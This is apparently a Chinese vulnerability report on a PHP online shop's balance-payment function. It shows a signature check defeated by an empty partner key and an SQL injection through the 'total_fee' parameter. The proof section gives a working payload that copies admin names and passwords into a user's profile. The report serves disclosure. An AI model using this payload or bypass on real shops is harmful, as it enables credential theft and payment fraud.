### 简要描述：
20140926
### 详细说明：
因为是支付，会查询订单状态，要先创建一个订单。
/protected/controllers/payment.php中 pay_balance函数 total_fee变量
```
//余额支付方式，服务器端处理
public function pay_balance(){
$sign = Req::post('sign');//从post中获取sign
$args = Req::post();
unset($args['sign']);
$total_fee = Req::post('total_fee');//直接从post获取
$attach = Filter::int(Req::post('attach'));
$return['attach'] = Req::post('attach');
$return['total_fee'] = floatval(Req::post('total_fee'));
$return['order_no'] = Req::post('order_no');
$return['return_url'] = Req::post('return_url');
。。。
if(floatval($return['total_fee']) < 0 || $return['order_no'] == '' || $return['return_url'] == '')
{
$msg = array('type'=>'fail','msg'=>'支付参数不正确！');
$this->redirect('/index/msg',false,$msg);
}
else{//订单正常的话，就开始支付了
$payment = new Payment($attach);//attach为孔的时候，$payment也会为空
$paymentInfo = $payment->getPayment();//paymentInfo为空
$pay_balance = new pay_balance();
$filter_param = $pay_balance->filterParam($args);
//对待签名参数数组排序
$para_sort = $pay_balance->argSort($filter_param);
$mysign = $pay_balance->buildSign($para_sort,$paymentInfo['partner_key']);//最后$paymentInfo['partner_key']也为空，所以无所谓数据库里key是什么了，直接不用他
if($mysign == $sign) //sign是post过来的，绕过
{
$user_id = $this->user['id'];
$model = new Model("customer");
$customer = $model->where("user_id=".$user_id)->find();
if($customer['balance']>=$total_fee){
$order = $model->table("order")->where("order_no='".Filter::sql($return['order_no'])."' and user_id=".$user_id)->find();
if($order){
if($order['pay_status']==0){
$flag = $model->table("customer")->where("user_id=".$user_id)->data(array('balance'=>"`balance`-".$total_fee))->update(); //total_fee进入查询
$return['order_status'] = 'TINY_SECCESS';
。。。。
```
```
public function buildSign($sort_para,$key,$sign_type = "MD5")
{ //把数组所有元素，按照“参数=参数值”的模式用“&”字符拼接成字符串
$prestr = $this->createLinkstring($sort_para);
//把拼接后的字符串再与安全校验码直接连接起来
$prestr = $prestr.$key; //key为空
$mysgin = md5($prestr);
return $mysgin;
}
```
key也无效了，不具体跟了，我们做一个代理，帮我们生成sign就好。
### 漏洞证明：
url=http%3A%2f%2f127.0.0.1%2findex.php%3Fcon%3Dpayment%26act%3Dpay_balance
order_no=20141108134136569665&return_url=111&total_fee=12.00 , `real_name`=(SELECT concat(name,0x5f,password) from tiny_manager)
[<img src="https://images.seebug.org/upload/201411/081344147814e835ae4b7416dbe0dde698cdb209.png" alt="QQ截图20141108134331.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/081344147814e835ae4b7416dbe0dde698cdb209.png)
404是因为return_url=111
[<img src="https://images.seebug.org/upload/201411/08134425ffc52e91dc77b716c522b89de40b7a96.png" alt="QQ截图20141108134358.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/08134425ffc52e91dc77b716c522b89de40b7a96.png)
更新到了个人资料里
京公网安备 11010502034610号
暂无评论